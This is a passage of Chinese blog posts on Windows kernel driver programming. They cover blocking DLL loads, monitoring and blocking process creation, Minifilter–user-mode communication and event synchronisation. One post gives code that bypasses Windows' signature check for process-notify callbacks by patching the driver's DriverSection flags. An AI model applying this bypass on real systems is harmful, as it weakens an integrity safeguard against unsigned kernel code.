pShellCode, ulShellCodeSize); // 释放 MDL MmUnmapLockedPages(pVoid, pMdl); IoFreeMdl(pMdl); return TRUE;}
    拒绝 DLL 模块的加载// 拒绝加载 DLL 模块BOOLEAN DenyLoadDll(PVOID pLoadImageBase){ // DLL拒绝加载, 不能类似驱动那样直接在入口点返回拒绝加载信息. 这样达不到卸载DLL的效果. // 将文件头 前0x200 字节数据置零 ULONG ulDataSize = 0x200; // 创建 MDL 方式修改内存 PMDL pMdl = MmCreateMdl(NULL, pLoadImageBase, ulDataSize); if (NULL == pMdl) { ShowError("MmCreateMdl", 0); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); PVOID pVoid = MmMapLockedPages(pMdl, KernelMode); if (NULL == pVoid) { IoFreeMdl(pMdl); ShowError("MmMapLockedPages", 0); return FALSE; } // 置零 RtlZeroMemory(pVoid, ulDataSize); // 释放 MDL MmUnmapLockedPages(pVoid, pMdl); IoFreeMdl(pMdl); return TRUE;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:


    在 Win10 64 位系统下,驱动程序正常执行:


    总结这个程序实现起来并不复杂,关键是对 PsSetLoadImageNotifyRoutine 函数要理解透彻。
    其中,我们在根据加载基址卸载加载模块的时候,更改加载模块内存数据的时候,建议通过 MDL 方式来修改内存,这样会比较安全和保险。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-17 10:17:39
  • 基于PsSetCreateProcessNotifyRoutineEx实现监控进程创建并阻止创建

    背景对于内核层实现监控进程的创建或者退出,你可能第一时间会想到 HOOK 内核函数 ZwOpenProcess、ZwTerminateProcess 等。确定,在内核层中的 HOOK 已经给人留下太多深刻的印象了,有 SSDT HOOK、Inline HOOK、IRP HOOK、过滤驱动等等。
    但是,Windows 其实给我们提供现成的内核函数接口,方便我们在内核下监控用户层上进程的创建和退出的情况。即 PsSetCreateProcessNotifyRoutineEx 内核函数,可以设置一个回调函数,来监控进程的创建和退出,同时还能控制是否允许创建进程。
    现在,本文就使用 PsSetCreateProcessNotifyRoutineEx 实现监控进程的创建的实现过程和原理进行整理,形成文档,分享给大家。
    函数介绍PsSetCreateProcessNotifyRoutineEx 函数
    设置进程回调监控进程创建与退出,而且还能控制是否允许进程创建。
    函数声明
    NTSTATUS PsSetCreateProcessNotifyRoutineEx( _In_ PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, _In_ BOOLEAN Remove);
    参数

    NotifyRoutine [in]指向PCREATE_PROCESS_NOTIFY_ROUTINE_EX例程以注册或删除的指针。 创建新进程时,操作系统将调用此例程。Remove[in]一个布尔值,指定PsSetCreateProcessNotifyRoutineEx是否会从回调例程列表中添加或删除指定的例程。 如果此参数为TRUE,则从回调例程列表中删除指定的例程。 如果此参数为FALSE,则将指定的例程添加到回调例程列表中。 如果删除为TRUE,系统还会等待所有正在运行的回调例程运行完成。
    返回值

    成功,则返回 STATUS_SUCCESS;否则,返回其它失败错误码 NTSTATUS。

    PCREATE_PROCESS_NOTIFY_ROUTINE_EX 回调函数
    函数声明
    PCREATE_PROCESS_NOTIFY_ROUTINE_EX SetCreateProcessNotifyRoutineEx;void SetCreateProcessNotifyRoutineEx( _In_ HANDLE ParentId, _In_ HANDLE ProcessId, _Inout_opt_ PPS_CREATE_NOTIFY_INFO CreateInfo){ ... }
    参数

    ParentId [in]父进程的进程ID。ProcessId [in]进程的进程ID。CreateInfo [in,out,optional]指向PS_CREATE_NOTIFY_INFO结构的指针,其中包含有关新进程的信息。为 NULL 时,表示进程退出;不为 NULL 时,表示进程创建。
    返回值

    无返回值。

    PS_CREATE_NOTIFY_INFO 结构体
    typedef struct _PS_CREATE_NOTIFY_INFO { SIZE_T Size; union { ULONG Flags; struct { ULONG FileOpenNameAvailable :1; ULONG IsSubsystemProcess :1; ULONG Reserved :30; }; }; HANDLE ParentProcessId; CLIENT_ID CreatingThreadId; struct _FILE_OBJECT *FileObject; PCUNICODE_STRING ImageFileName; PCUNICODE_STRING CommandLine; NTSTATUS CreationStatus;} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
    成员

    Size该结构的大小(以字节为单位)。 Flags保留。 请改用FileOpenNameAvailable成员。FileOpenNameAvailable一个布尔值,指定ImageFileName成员是否包含用于打开进程可执行文件的确切文件名。
    IsSubsystemProcess指示进程子系统类型的布尔值是Win32以外的子系统。
    Reserved保留供系统使用。
    ParentProcessId新进程的父进程的进程ID。 请注意,父进程不一定与创建新进程的进程相同。 新进程可以继承父进程的某些属性,如句柄或共享内存。 (进程创建者的进程ID由CreatingThreadId-> UniqueProcess给出。)
    CreatingThreadId创建新进程的进程和线程的进程ID和线程ID。 CreatingThreadId-> UniqueProcess包含进程ID,而CreatingThreadId-> UniqueThread包含线程ID。
    FileObject指向进程可执行文件的文件对象的指针。如果IsSubsystemProcess为TRUE,则此值可能为NULL。
    ImageFileName指向保存可执行文件的文件名的UNICODE_STRING字符串的指针。 如果FileOpenNameAvailable成员为TRUE,则该字符串指定用于打开可执行文件的确切文件名。 如果FileOpenNameAvailable为FALSE,则操作系统可能仅提供部分名称。如果IsSubsystemProcess为TRUE,则此值可能为NULL。
    CommandLine指向UNICODE_STRING字符串的指针,该字符串保存用于执行该过程的命令。 如果命令不可用,CommandLine为NULL。如果IsSubsystemProcess为TRUE,则此值可能为NULL。
    CreationStatus用于进程创建操作返回的NTSTATUS值。 驱动程序可以将此值更改为错误代码,以防止创建进程。


    实现原理破解 PsSetCreateProcessNotifyRoutineEx 函数的使用限制第一种方法在讲解怎么使用 PsSetCreateProcessNotifyRoutineEx 函数来注册回调之前,先来讲解下 Windows 对这个函数做的限制:驱动程序必须有数字签名才能使用此函数。经逆向研究,内核通过 MmVerifyCallbackFunction 验证此回调是否合法, 但此函数只是简单的验证了一下 DriverObject->DriverSection->Flags 的值是不是为 0x20:
    nt!MmVerifyCallbackFunction+0x75: fffff800`01a66865 f6406820 test byte ptr [rax+68h],20h fffff800`01a66869 0f45fd cmovne edi,ebp
    所以破解方法非常简单,只要把 DriverObject->DriverSection->Flags 的值按位或 0x20 即可。其中,DriverSection 是指向 LDR_DATA_TABLE_ENTRY 结构的值,要注意该结构在 32 位和 64 位系统下的定义。
    // 注意32位与64位的对齐大小#ifndef _WIN64 #pragma pack(1) #endiftypedef struct _LDR_DATA_TABLE_ENTRY{ LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks;} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;#ifndef _WIN64 #pragma pack()#endif
    第二种方法使用此函数, 一定要设置 IMAGE_OPTIONAL_HEADER 中的 DllCharacterisitics 字段设置为:IMAGE_DLLCHARACTERISITICS_FORCE_INTEGRITY 属性,该属性是一个驱动强制签名属性。使用 VS2013 开发环境设置方式是:

    右击项目,选择属性
    选中配置属性中的链接器,点击命令行
    在其它选项中输入: /INTEGRITYCHECK 表示设置; /INTEGRITYCHECK:NO 表示不设置

    这样,设置之后,驱动程序必须要进行驱动签名才可正常运行!
    创建回调并监控进程创建我们根据上面的函数介绍,大概知道实现的流程了吧。对于设置回调函数,直接调用 PsSetCreateProcessNotifyRoutineEx 函数来设置就好。传入设置的回调函数名称以及删除标志参数设置为 FALSE,表示创建回调函数。这样,就可以成功设置进程监控的回调函数了。
    那么,我们的回调函数也并不复杂,它的函数声明为:
    void SetCreateProcessNotifyRoutineEx( _In_ HANDLE ParentId, _In_ HANDLE ProcessId, _Inout_opt_ PPS_CREATE_NOTIFY_INFO CreateInfo);
    回调函数的名称可以任意,但是返回值类型以及函数参数类型必须是固定的,不能变更。回调函数的第一个参数 ParentId 表示父进程ID,第二个参数 ProcessId 表示进程ID,第三个参数 CreateInfo 为 NULL 时,表示进程退出;不为 NULL 时,表示进程创建。那么,创建进程的信息就存储在 PS_CREATE_NOTIFY_INFO 结构体中。
    我们可以从 PS_CREATE_NOTIFY_INFO 中获取进程名称、路径、命令行、PID等进程信息。同时,可以通过设置成员 CreationStatus 的值来控制进程是否创建。当 CreationStatus 的值为 STATUS_SUCCESS 表示创建进程,否则,不创建进程。例如不创建进程的时候,CreationStatus 可以为 STATUS_UNSUCCESSFUL 错误码。
    当我们要删除回调设置的时候,只需要调用 PsSetCreateProcessNotifyRoutineEx 函数,传入回调函数名称以及删除标志参数设置为 TRUE。这样,就可以成功删除设置的回调函数了。
    编码实现编程方式绕过签名检查// 编程方式绕过签名检查BOOLEAN BypassCheckSign(PDRIVER_OBJECT pDriverObject){#ifdef _WIN64 typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY listEntry; ULONG64 __Undefined1; ULONG64 __Undefined2; ULONG64 __Undefined3; ULONG64 NonPagedDebugInfo; ULONG64 DllBase; ULONG64 EntryPoint; ULONG SizeOfImage; UNICODE_STRING path; UNICODE_STRING name; ULONG Flags; USHORT LoadCount; USHORT __Undefined5; ULONG64 __Undefined6; ULONG CheckSum; ULONG __padding1; ULONG TimeDateStamp; ULONG __padding2; } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;#else typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY listEntry; ULONG unknown1; ULONG unknown2; ULONG unknown3; ULONG unknown4; ULONG unknown5; ULONG unknown6; ULONG unknown7; UNICODE_STRING path; UNICODE_STRING name; ULONG Flags; } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;#endif PKLDR_DATA_TABLE_ENTRY pLdrData = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; pLdrData->Flags = pLdrData->Flags | 0x20; return TRUE;}
    设置回调// 设置回调函数NTSTATUS SetProcessNotifyRoutine(){ NTSTATUS status = PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)ProcessNotifyExRoutine, FALSE); if (!NT_SUCCESS(status)) { ShowError("PsSetCreateProcessNotifyRoutineEx", status); } return status;}
    回调函数// 回调函数VOID ProcessNotifyExRoutine(PEPROCESS pEProcess, HANDLE hProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo){ // CreateInfo 为 NULL 时,表示进程退出;不为 NULL 时,表示进程创建 if (NULL == CreateInfo) { return; } // 获取进程名称 PCHAR pszImageFileName = PsGetProcessImageFileName(pEProcess); // 显示创建进程信息 DbgPrint("[%s][%d][%wZ]\n", pszImageFileName, hProcessId, CreateInfo->ImageFileName); // 禁止指定进程(520.exe)创建 if (0 == _stricmp(pszImageFileName, "520.exe")) { // 禁止创建 CreateInfo->CreationStatus = STATUS_UNSUCCESSFUL; DbgPrint("[禁止创建]\n"); }}
    删除回调// 删除回调函数NTSTATUS RemoveProcessNotifyRoutine(){ NTSTATUS status = PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)ProcessNotifyExRoutine, TRUE); if (!NT_SUCCESS(status)) { ShowError("PsSetCreateProcessNotifyRoutineEx", status); } return status;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结这个程序实现起来并不复杂,关键是对 PsSetCreateProcessNotifyRoutineEx 函数要理解透彻,理解清楚回调函数中,PS_CREATE_NOTIFY_INFO 结构体的所有成员含义。这样,我们就可以获取进程信息,以及控制进程的创建。
    注意,破解 PsSetCreateProcessNotifyRoutineEx 函数的使用限制有两种方式,一种是通过编程来解决;一种是通过 VS 开发环境和数字签名来解决。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-16 14:36:44
  • Minifilter驱动程序与用户层程序通信

    背景通常 NT 驱动程序与用户层间的通信,可以由用户层调用 CreateFile 函数打开驱动设备并获取设备句柄,然后调用 DeviceIoControl 函数实现用户层数据和内核层数据的交互。
    那么,对于 Minifilter,它是一个 WDM 驱动,它并不像 NT 驱动那样使用常用的方式通信,而是有自己一套函数专门用于数据通信交互。现在,我就把程序的实现过程和原理整理成文档,分享给大家。
    实现过程用户层程序的实现过程导入库文件我们先来介绍下用户层上的程序的实现过程。首先,我们需要包含头文件 fltUser.h 以及库文件 fltLib.lib,这些文件在 VS 中并没有,它们存在于 WDK 中。我们可以设置程序的目录包含路径以及库文件包含路径,也可以将 WDK 中这两个文件拷贝到当前目录中来。我们选择后一种方法,将下面目录下的文件拷贝到当前目录中:

    C:\Program Files (x86)\Windows Kits\8.1\Include\um\fltUser.h
    C:\Program Files (x86)\Windows Kits\8.1\Lib\winv6.3\um\x86\fltLib.lib
    C:\Program Files (x86)\Windows Kits\8.1\Lib\winv6.3\um\x64\fltLib.lib

    那么,我们在程序中声明头文件以及导入库文件的代码为:
    #include "flt\\fltUser.h"#ifdef _WIN32 #pragma comment(lib, "flt\\lib\\x86\\fltLib.lib")#else #pragma comment(lib, "flt\\lib\\x64\\fltLib.lib")#endif
    调用函数实现交互用户层上实现于 Minifilter 内核层的数据交互方法,和用户层与 NT 驱动程序的交互方法很相似,虽然不是 CreateFile 打开对象获取句柄,在调用 DeviceIoControl 交互数据。具体的实现步骤如下:

    首先,调用 FilterConnectCommunicationPort 函数打开通信端口,获取端口的句柄
    然后,调用 FilterSendMessage 函数交互数据,向内核程序传入输入、输出缓冲区
    当交互结束,通信句柄不再使用的时候,调用 CloseHandle 函数关闭句柄

    综合上面 3 个步骤来看,是不是和 NT 驱动程序的交互方式很相似呢?我们通过类比记忆就好。其中,Minifilter 是通过端口的方式来实现数据交互的。具体的实现代码如下所示:
    int _tmain(int argc, _TCHAR* argv[]){ HANDLE hPort = NULL; char szInputBuf[MAX_PATH] = "From User Test!"; char szOutputBuf[MAX_PATH] = { 0 }; DWORD dwInputLen = 1 + ::lstrlen(szInputBuf); DWORD dwOutputLen = MAX_PATH; DWORD dwRet = 0; HRESULT hRet = NULL; // 打开并连接端口, 获取端口句柄. (类似CreateFile) hRet = ::FilterConnectCommunicationPort(PORT_NAME, 0, NULL, 0, NULL, &hPort); if (IS_ERROR(hRet)) { ::MessageBox(NULL, "FilterConnectCommunicationPort", NULL, MB_OK); return 1; } // 向端口发送数据. (类似 DeviceIoControl) hRet = ::FilterSendMessage(hPort, szInputBuf, dwInputLen, szOutputBuf, dwOutputLen, &dwRet); // 类似DeviceIoControl if (IS_ERROR(hRet)) { ::MessageBox(NULL, "FilterSendMessage", NULL, MB_OK); return 2; } // 显示数据 printf("InputBuffer:0x%x\n", szInputBuf); printf("OutputBuffer:0x%x\n", szOutputBuf); system("pause"); return 0;}
    内核层程序的实现过程从上面用户层程序的实现过程来看,和通常的交互方式来看,没有什么大区别,只是调用的函数变了而已。但是,对于内核层,却有很大的改变。
    我们知道,VS2013 里面有向导可以直接创建一个 Minifilter 驱动,可以生成代码框架和 inf 文件,这简化了很多工作。但是,VS2013 开发化境并没有帮我们生成与用户层通信部分的代码,所以,需要我们手动对代码进行更改,实现与用户层的数据通信。具体的步骤如下:
    1.首先,在内核程序的顶头声明 2 个全局变量,保存通信用的服务器端口以及客户端端口;并且声明 3 个回调函数:建立连接回调函数、数据通信回调函数、断开连接回调函数。
    // 端口名称#define PORT_NAME L"\\CommPort"// 服务器端口PFLT_PORT g_ServerPort;// 客户端端口PFLT_PORT g_ClientPort;// 建立连接回调函数NTSTATUS ConnectNotifyCallback( IN PFLT_PORT ClientPort, IN PVOID ServerPortCookies, IN PVOID ConnectionContext, IN ULONG SizeOfContext, OUT PVOID *ConnectionPortCokkie);// 数据通信回调函数NTSTATUS MessageNotifyCallback( IN PVOID PortCookie, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT PULONG ReturnOutputBufferLength);// 断开连接回调函数VOID DisconnectNotifyCallback(_In_opt_ PVOID ConnectionCookie);
    2.然后,我们来到 DriverEntry 入口点函数,进行修改:

    首先,调用 FltRegisterFilter 注册过滤器
    然后,在使用 FltCreateCommunicationPort 函数创建通信端口之前,需要调用 FltBuildDefaultSecurityDescriptor 函数创建一个默认的安全描述符。其中,FLT_PORT_ALL_ACCESS 表示程序拥有连接到端口、访问端口等所有权限。其中,Minifilter 通常在调用 FltCreateCommunicationPort 函数之前会调用 FltBuildDefaultSecurityDescriptor 函数;在调用完 FltCreateCommunicationPort 函数后,会调用 FltFreeSecurityDescriptor 函数
    接着,调用 FltCreateCommunicationPort 创建通信服务器端口,使得Minifilter 驱动程序可以接收来自用户层程序的连接请求。可以通过该函数设置端口名称、建立连接回调函数、数据通信回调函数、断开连接回调函数、最大连接数等,同时可以获取服务器端口句柄
    然后,调用 FltFreeSecurityDescriptor 函数释放安全描述符
    最后,调用 FltStartFiltering 函数开始启动过滤注册的 Minifilter 驱动程序

    NTSTATUS DriverEntry ( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath ){ NTSTATUS status; UNREFERENCED_PARAMETER( RegistryPath ); PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, ("Minifilter_Communicate_Test!DriverEntry: Entered\n") ); // // Register with FltMgr to tell it our callback routines // status = FltRegisterFilter( DriverObject, &FilterRegistration, &gFilterHandle ); FLT_ASSERT( NT_SUCCESS( status ) ); if (NT_SUCCESS( status )) { PSECURITY_DESCRIPTOR lpSD = NULL; // 创建安全描述, 注意:要创建这个安全描述,否则不能成功通信 status = FltBuildDefaultSecurityDescriptor(&lpSD, FLT_PORT_ALL_ACCESS); if (!NT_SUCCESS(status)) { KdPrint(("FltBuildDefaultSecurityDescriptor Error[0x%X]", status)); return status; } // 创建于用户层交互的端口 UNICODE_STRING ustrCommPort; OBJECT_ATTRIBUTES objectAttributes; RtlInitUnicodeString(&ustrCommPort, PORT_NAME); InitializeObjectAttributes(&objectAttributes, &ustrCommPort, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, lpSD); status = FltCreateCommunicationPort(gFilterHandle, &g_ServerPort, &objectAttributes, NULL, ConnectNotifyCallback, DisconnectNotifyCallback, MessageNotifyCallback, 1); if (!NT_SUCCESS(status)) { KdPrint(("FltCreateCommunicationPort Error[0x%X]", status)); return status; } // 释放安全描述 FltFreeSecurityDescriptor(lpSD); // // Start filtering i/o // status = FltStartFiltering( gFilterHandle ); if (!NT_SUCCESS( status )) { FltUnregisterFilter( gFilterHandle ); } } return status;}
    其中,建立连接回调函数的代码为:
    NTSTATUS ConnectNotifyCallback( IN PFLT_PORT ClientPort, IN PVOID ServerPortCookies, IN PVOID ConnectionContext, IN ULONG SizeOfContext, OUT PVOID *ConnectionPortCokkie){ PAGED_CODE(); UNREFERENCED_PARAMETER(ServerPortCookies); UNREFERENCED_PARAMETER(ConnectionContext); UNREFERENCED_PARAMETER(SizeOfContext); UNREFERENCED_PARAMETER(ConnectionPortCokkie); // 可以加以判断,禁止非法的连接,从而给予保护 g_ClientPort = ClientPort; // 保存以供以后使用 return STATUS_SUCCESS;}
    只要有连接连接到端口上,就会调用此函数。我们可以在该回调函数中获取客户端的端口句柄。这个客户端端口句柄要保存下来,这样,我们的驱动程序才可以和建立连接的用户层程序使用该客户端句柄进行数据通信。
    其中,断开连接回调函数的代码为:
    VOID DisconnectNotifyCallback(_In_opt_ PVOID ConnectionCookie){ PAGED_CODE(); UNREFERENCED_PARAMETER(ConnectionCookie); // 应该加判断,如果ConnectionCookie == 我们的值就执行这行 FltCloseClientPort(gFilterHandle, &g_ClientPort);}
    每当有连接断开的时候,就会调用该函数。我们需要在此调用 FltCloseClientPort 函数,关闭客户端端口。
    其中,数据交互回调函数的代码为:
    NTSTATUS MessageNotifyCallback( IN PVOID PortCookie, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT PULONG ReturnOutputBufferLength){ /* 这里要注意: 1.数据地址的对齐. 2.文档建议使用:try/except处理. 3.如果是64位的驱动要考虑32位的EXE发来的请求. */ NTSTATUS status = STATUS_SUCCESS; PAGED_CODE(); UNREFERENCED_PARAMETER(PortCookie); /* 这里输入、输出的地址均是用户空间的地址!!! */ // 显示用户传输来的数据 KdPrint(("[InputBuffer][0x%X]%s\n", InputBuffer, (PCHAR)InputBuffer)); KdPrint(("[OutputBuffer][0x%X]\n", OutputBuffer)); // 返回内核数据到用户空间 CHAR szText[] = "From Kernel Data!"; RtlCopyMemory(OutputBuffer, szText, sizeof(szText)); *ReturnOutputBufferLength = sizeof(szText); return status;}
    每当有数据交互的时候,就会调用此回调函数。我们可以从输入缓冲区中获取来自用户层程序传入的数据。然后对输出缓冲区进行设置,将内核数据输出到用户层中。这个函数和 NT 驱动程序中的 IRP_MJ_DEVICE_CONTRL 消息对应的操作函数类似。
    3.当驱动卸载的时候,要在卸载函数中调用
    // 没有这一行是停止不了驱动的,查询也是永远等待中FltCloseCommunicationPort(g_ServerPort);
    否则,停止不了驱动的,查询也是永远等待中。
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结Minifilter 的通讯结构不难理解,注意和 NT 驱动程序的驱动结构进行类比理解就好。
    要注意该程序的加载,并不像 NT 驱动那样,调用加载程序来加载。WDM驱动,采用 inf 文件的安装方式,但是,一定要注意:MiniFilter生成后,一定要修改 inf中的 Instance1.Altitude = “370030”,即将注释去掉即可。因为每一个 Minifilter 驱动都必须指定一个 Altitude。每一个发组都有自己的一个 Altitude 区间,Altitude 值越高,代表在设备栈里面的位置也越高,也就是越先收到应用层发过来的IRP。
    inf 文件安装驱动方式:

    选中inf文件,鼠标右键,选择“安装”
    安装完毕后,以管理员权限打开cmd,输入“net start 服务名”启动服务
    停止服务则使用命令“net stop 服务名”即可

    同时要注意,程序在判断文件路径的时候,要使用 ExAllocatePool 申请非分页内存,不要直接使用变量,因为使用 FltGetFileNameInformation 获取的路径信息是存储在分页内存中,直接在回调函数中使用会导致蓝屏情况。
    参考参考自《Windows黑客编程技术详解》一书
    2  留言 2019-02-15 17:40:50
  • NT驱动程序与用户层程序基于事件EVENT实现同步通信

    背景之前我们在《NT驱动程序与用户层程序通信》这篇文章中讲了,用户层程序使用 DeviceIoControl 将 IOCTL 控制码、输入缓冲区、输出缓冲区传入到内核;内核响应 IRP_MJ_DEVICE_CONTRL 消息,并从 IRP 中获取传入的 IOCTL 控制码、输入缓冲区、输出缓冲区,以此实现数据的交互。
    但是,当内核层想主动传递数据到用户层,用户层又怎样才能知道呢?因为只有用户层知道内核层有数据输出的时候,它才会调用 DeviceIoControl 函数去获取数据。所以,本文要介绍的就是基于事件 EVENT 实现的同步框架,可以解决这个的问题。现在,我就把实现思路和原理整理成文档,分享给大家。
    函数介绍CreateEvent 函数
    CreateEvent是一个Windows API函数。它用来创建或打开一个命名的或无名的事件对象。如果想为对象指定一个访问掩码,应当使用CreateEventEx函数。
    函数声明
    HANDLECreateEvent( LPSECURITY_ATTRIBUTESlpEventAttributes, // 安全属性 BOOLbManualReset, // 复位方式 BOOLbInitialState, // 初始状态 LPCTSTRlpName // 对象名称);
    参数

    lpEventAttributes[in]一个指向SECURITY_ATTRIBUTES结构的指针,确定返回的句柄是否可被子进程继承。如果lpEventAttributes是NULL,此句柄不能被继承。bManualReset[in]指定将事件对象创建成手动复原还是自动复原。如果是TRUE,那么必须用ResetEvent函数来手工将事件的状态复原到无信号状态。如果设置为FALSE,当一个等待线程被释放以后,系统将会自动将事件状态复原为无信号状态。bInitialState[in]指定事件对象的初始状态。如果为TRUE,初始状态为有信号状态;否则为无信号状态。lpName[in]指定事件的对象的名称,是一个以0结束的字符串指针。名称的字符格式限定在MAX_PATH之内。名字是对大小写敏感的。如果lpName为NULL,将创建一个无名的事件对象。
    返回值

    如果函数调用成功,函数返回事件对象的句柄。如果函数失败,函数返回值为NULL,如果需要获得详细的错误信息,需要调用GetLastError。

    ObReferenceObjectByHandle 函数
    提供对象句柄访问许可。如果访问被允许,返回相应的对象体的指针。
    函数声明
    NTSTATUS ObReferenceObjectByHandle( _In_ HANDLE Handle, _In_ ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_TYPE ObjectType, _In_ KPROCESSOR_MODE AccessMode, _Out_ PVOID *Object, _In_opt_ POBJECT_HANDLE_INFORMATION HandleInformation);
    参数

    Handle [in]为一个对象指定一个打开的句柄。
    DesiredAccess [in]指定访问对象的类型。其中,EVENT_MODIFY_STATE 表示允许使用 KeSetEvent 和 KeResetEvent 函数。
    ObjectType [in, optional]表明指向对象是什么类型的。其中,*ExEventObjectType 表示对象指针类型为 PKEVENT。
    AccessMode [in]访问模式分UserMode 和KernelMode。其中,KernelMode 表示内核模式。
    Object [out]指向映射句柄对象的指针。
    HandleInformation [out, optional]
    驱动程序设置为 NULL。

    返回值

    成功,则返回 STATUS_SUCCESS;否则,返回其它 NTSTATUS 错误码。

    KeSetEvent 函数
    如果事件尚未发出信号,则 KeSetEvent 函数将事件对象设置为信号状态,并返回事件对象的先前状态。
    函数声明
    LONG KeSetEvent( _Inout_ PRKEVENT Event, _In_ KPRIORITY Increment, _In_ BOOLEAN Wait);参数

    Event[in,out]指向调用者为其提供存储的初始化事件对象的指针。Increment[in]如果设置事件导致等待满足,则指定要应用的优先级增量。其中,IO_NO_INCREMENT 表示不增加优先级。Wait指定是否通过调用 KeWaitXxx 函数之一来立即跟踪对KeSetEvent的调用。 如果为TRUE,则KeSetEvent调用之后必须调用KeWaitForMultipleObjects,KeWaitForMutexObject或KeWaitForSingleObject。 有关详细信息,请参阅以下备注部分。
    返回值

    如果事件对象的先前状态发出信号,则返回非零值。

    实现原理我们通过事件 EVENT 实现用户层与内核层的同步操作,具体的实现原理如下:

    首先,我们在用户层程序中调用 CreateEvent 函数创建事件 EVENT 并获取事件 EVENT 的句柄。事件初始状态为无信号,而且自动复原。
    然后,用户层程序调用 DeviceIoControl 函数将上述创建的 EVENT 句柄传递到内核层驱动程序中,并调用 WaitForSingleObject 函数等待事件 EVENT 的响应。直到事件 EVENT 响应后,程序才会进行下一步操作。
    接着,内核层程序就通过 IRP_MJ_DEVICE_CONTROL 消息响应函数获取从用户层传入的事件 EVENT 的句柄。调用 ObReferenceObjectByHandle 内核函数获取内核事件 EVENT 对象。
    然后,内核驱动程序可以调用 PsCreateSystemThread 创建多线程,继续执行操作。要想通知用户层程序进行下一步操作,只需调用 KeSetEvent 内核函数,将事件 EVENT 对象的状态设置为信号状态。那么,用户层程序中的事件 EVENT 就是一个有信号状态,WaitForSingleObject 函数就不会阻塞,而是继续往下执行。这样,就可以成功从内核层通知到用户层进行操作了。
    最后,用户层调用 CloseHandle 关闭事件 EVENT 句柄;内核层调用 ObDereferenceObject 释放内核事件 EVENT 对象。

    这个框架的核心原理就是,将用户层的事件句柄传入内核层的驱动程序中,并有内核驱动程序设置事件对象的信号状态,以此触发用户层的响应。
    编码实现用户层代码int _tmain(int argc, _TCHAR* argv[]){ HANDLE hEvent = NULL; HANDLE hDevice = NULL; char szOutput[MAX_PATH] = { 0 }; DWORD dwOutput = MAX_PATH; DWORD dwRet = 0; BOOL bRet = FALSE; // 创建事件, 设置自动复位,初始状态为无信号 hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); if (NULL == hEvent) { printf("CreateEvent Error[%d]\n", ::GetLastError()); } // 打开设备 hDevice = ::CreateFile(SYM_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hDevice) { printf("CreateFile Error[%d]\n", ::GetLastError()); } // 数据交互, 向内核层中传入事件句柄 bRet = ::DeviceIoControl(hDevice, IOCTL_MY_TEST, &hEvent, sizeof(hEvent), szOutput, dwOutput, &dwRet, NULL); if (FALSE == bRet) { printf("DeviceIoControl Error[%d]\n", ::GetLastError()); } // 一直等待事件的响应 ::WaitForSingleObject(hEvent, INFINITE); // 数据交互, 从内核层中获取数据 bRet = ::DeviceIoControl(hDevice, IOCTL_MY_OUTPUT, NULL, 0, szOutput, dwOutput, &dwRet, NULL); if (FALSE == bRet) { printf("DeviceIoControl Error[%d]\n", ::GetLastError()); } // 显示 printf("[From Kernel Output]%s\n", szOutput); // 关闭设备句柄 ::CloseHandle(hEvent); ::CloseHandle(hDevice); system("pause"); return 0;}
    内核层代码IRP_MJ_DEVICECONTROL 消息处理函数// IRP_MJ_DEVICE_CONTROL 消息处理函数NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp){ NTSTATUS status = STATUS_SUCCESS; // 获取当前 IRP 栈空间数据 PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp); // 获取输入/输出缓冲区 PVOID pBuffer = pIrp->AssociatedIrp.SystemBuffer; // 获取输入缓冲区数据长度 ULONG ulInputLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength; // 获取输出缓冲区数据长度 ULONG ulOutputLength = pIoStackLocation->Parameters.DeviceIoControl.OutputBufferLength; // 实际输出数据长度 ULONG ulInfo = 0; // 获取控制码 ULONG ulControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; // 根据操作码分别进行操作 switch (ulControlCode) { case IOCTL_MY_TEST: { // 获取传入的事件句柄 HANDLE hUserEvent = *(HANDLE *)pBuffer; // 